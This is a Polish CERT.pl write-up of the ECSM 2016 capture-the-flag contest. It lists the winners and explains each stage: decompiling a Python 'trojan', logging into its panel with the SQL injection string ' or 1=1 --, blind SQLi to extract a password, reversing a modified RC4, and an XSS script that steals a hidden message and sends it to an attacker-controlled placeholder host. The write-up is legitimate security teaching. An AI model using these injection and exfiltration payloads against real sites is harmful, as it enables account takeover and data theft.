Zadanie Capture The Flag w ramach ECSM 2016 – wyniki i rozwiązanie

Data publikacji: 08/12/2016, Mateusz Szymaniec

Na przełomie października i listopada organizowaliśmy dla Państwa konkurs typu Capture The Flag w ramach Europejskiego Miesiąca Bezpieczeństwa Cybernetycznego.

Pierwszy etap zadania rozpoczęło ponad 300 osób, do ostatniego dotarło ponad 60 osób, a trójka najszybszych, którzy przesłali poprawne rozwiązanie zadania to:

    1. Hubert Barc (rozwiązanie nadesłane 3 godziny i 22 minuty po rozpoczęciu konkursu),
    2. Sergiusz Bazański (5 godzin i 34 minuty),
    3. Piotr Florczyk (5 godzin i 37 minut).


Zwycięzcom serdecznie gratulujemy!

Wszyscy chętni, którzy nie wzięli udziału w konkursie mogą nadal sprawdzić swoje umiejętności na stronie https://ecsm2016.cert.pl.

Poniżej przedstawiamy również sposób rozwiązania wszystkich etapów konkursu.

Trojan

Zadanie zaczyna się od pobrania podejrzanego pliku ze strony https://ecsm2016.cert.pl. Po pobraniu warto zweryfikować czy hash zgadza się z podanym na stronie:

$ sha1sum ~/Downloads/suspicious
81e553e35dcccaaef8d9f534dd03bd9ba6ed33e2 ~/Downloads/suspicious

Jeśli tak, warto sprawdzić z czym mamy do czynienia:

$ file ~/Downloads/suspicious
/home/msm/Downloads/suspicious: python 2.7 byte-compiled

Wychodzi na to że jest to plik .pyc, czyli program w Pythonie skompilowany do kodu pośredniego. Możemy go uruchomić:

$ mv ~/Downloads/suspicious ~/Downloads/suspicious.pyc
$ python ~/Downloads/suspicious.pyc
Traceback (most recent call last):
File "stage2/trojan/trojan.1.zip.packed.py", line 2, in
File "", line 19, in
File "", line 2, in
File "", line 34, in
File "", line 2, in
ImportError: No module named trojan

Nie uruchomi się on jednak poprawnie przez brakujący moduł „trojan”, ale widać, że idziemy w dobrą stronę.

Możemy analizować kod pośredni Pythona bezpośrednio, ale to bardzo zły pomysł – prościej użyć gotowego narzędzia (np. Uncompyle), które spróbuje odtworzyć oryginalny kod.

Skrypt jest dość długi i nie robi nic ciekawego (wszystkie rzeczy są delegowane do modułu trojan) – ale jest w nim zapisany nowy adres URL:

# my secret malware panel
CNC_URL = 'https://secretpanel.ecsm2016.cert.pl'
CNC_PATH = '/get_command'

Trojan łączy się z adresem https://secretpanel.ecsm2016.cert.pl/get_command. Pod nim nie ma nic ciekawego, ale jeśli wejdziemy bezpośrednio pod secretpanel.ecsm2016.cert.pl zobaczymy panel webowy trojana.

Panel webowy, etap pierwszy

Wszystko poza /get_command wymaga zalogowania się i robi przekierowanie do /login. Musimy się więc w jakiś sposób zalogować.

secretpanel

Pierwszym problemem jest to, że nie znamy nazwy użytkownika, na którego można by się zalogować.
Na szczęście walidacja hasła nie jest zrobiona do końca bezpiecznie i umożliwia sprawdzenie czy użytkownik z podanym nickiem istnieje – dla użytkownika „aaa” otrzymujemy informację „Username is invalid”, ale po kilku próbach można zauważyć że istnieje np. użytkownik „admin”.

Drugim problemem jest to że nie znamy hasła. Na szczęście, twórca panelu popełnił tutaj książkowy błąd i możemy wykonać trywialne SQLi. Logujemy się do panelu z nazwą użytkownika admin i hasłem ' or 1=1 --.

Słowem wyjaśnienia dlaczego taki błąd występuje. Strony są podatne na SQLi, jeśli gdzieś w kodzie sklejane są polecenia SQL z niezaufanymi danymi (np. nazwa użytkownika lub hasło). Przykładowe, książkowe SQLi w PHP wygląda tak:

$query = "SELECT COUNT(*) FROM user WHERE UserName = '" . $username . "' AND Password = '". $password ."'"

Dla użytkownika „admin” i hasła „kot” wykonane zostanie polecenie:

SELECT COUNT(*) FROM USER WHERE Username = 'admin' AND Password = 'kot'

Co jest zgodne z zamierzeniami twórcy. Ale jeśli ktoś jako hasło poda kot' or 1=1 --, składnia zapytania zmieni się:

SELECT COUNT(*) FROM USER WHERE Username = 'admin' AND Password = 'kot' OR 1=1 -- '

W ten sposób niezależnie od tego jakie jest prawdziwe hasło, zapytanie zawsze zwróci wszystkie rekordy i strona zinterpretuje to jako sukces przy walidacji użytkownika.

Zaszyfrowana komunikacja

Po zalogowaniu widzimy trochę więcej – mamy dostęp do komunikacji między administratorem a „hackerem”. Niestety, w pewnym momencie zaczyna ona być zaszyfrowana:

Problemy są dwa:

Pierwszy problem możemy rozwiązać reversując dostarczoną binarkę. Jest ona dostarczona ze wszystkimi symbolami więc nie jest to zbyt trudne.

Najbardziej spodziewanym przez autorów rozwiązaniem było odwrócenie algorytmu programu szyfrującego (bardzo prostej modyfikacji RC4) i stworzenie własnego dekryptora na tej podstawie. Większość użytkowników konkursu poszła znacznie prostszą (więc lepszą) drogą – znalazła funkcję deszyfrującą (która była w binarce, chociaż nieużywana) i zmodyfikowała program aby z niej korzystał.

Funkcja szyfrująca wyglądała tak (w oryginale):

void encrypt(uint8_t *data, size_t data_size, const uint8_t *key, size_t key_size) {
    unsigned char state[256];
    rc4keysched(state, key, key_size);
    int a = 0, b = 0;
    for (int i = 0; i < (int)data_size; i++) {
        data[i] = (data[i] ^ rc4rand(state, &a, &b)) + i;
    }
}

Gdzie rc4ksysched i rc4rand to książkowa implementacja rc4. Czyli cały algorytm można zapisać jako:

ciphertext[i] = (plaintext[i] ^ rand[i]) + i

Więc żeby wyciągnąć z tego plaintext należałoby obliczyć:

plaintext[i] = (ciphertext[i] - i) ^ rand[i]

Wspomnimy jeszcze tylko że innym możliwym rozwiązaniem tego etapu była kryptoanaliza algorytmu – było to trochę trudniejsze, ale ciekawsze (i nie wymagało znajomości RE).

Drugi problem to poznanie hasła użytego do szyfrowania. Znowu trzeba do tego wykorzystać SQL injection na stronie, ale tym razem trzeba wyciągnąć dane, a nie tylko wymusić zalogowanie się. Można to zrobić w tym przypadku za pomocą blind SQL injection – można było do tego albo napisać własne narzędzie, albo spróbować wykorzystać SQLmapa – oba podejścia dawały nam prawdziwe hasło użytkownika (MakeCyberGreatAgain).

Tajny chat

secretmessage

Odzyskany adres prowadził nas do aplikacji internetowej, która przedstawiała konwersację pomiędzy podejrzanymi. Celem zadania było odzyskanie flagi zawartej w jednej z wiadomości. Niestety ta była dla nas ukryta i była widoczna tylko dla jej autora.

Mogliśmy również wysyłać wiadomości, które były przez podejrzanego hackera odczytywane. Błąd w aplikacji polegał na braku filtrowania HTML w widoku pojedynczej wiadomości co umożliwiało przeprowadzenie ataku typu XSS. Mogliśmy wysłać kod JavaScript, który wykonał się w kontekście przeglądarki naszego podejrzanego oraz ukradł flagę z widocznej tylko dla niego wiadomości.

Potencjalny payload mógł wyglądać tak:

<script>
   $.get('/cd16c496f53e43e7a72db2255a0939fb/2943ad2745764ad381c12195a79c4474', function(data) {
      var flag = $('.content', data).text().replace(/\s+/, '');
      document.createElement('img').src = 'http://adres-kontrolowanej-przez-nas-strony/' + flag;
   });
</script>

Odzyskana flaga oraz rozwiązanie całego konkursu to: ecsm{this.is.the.flag}.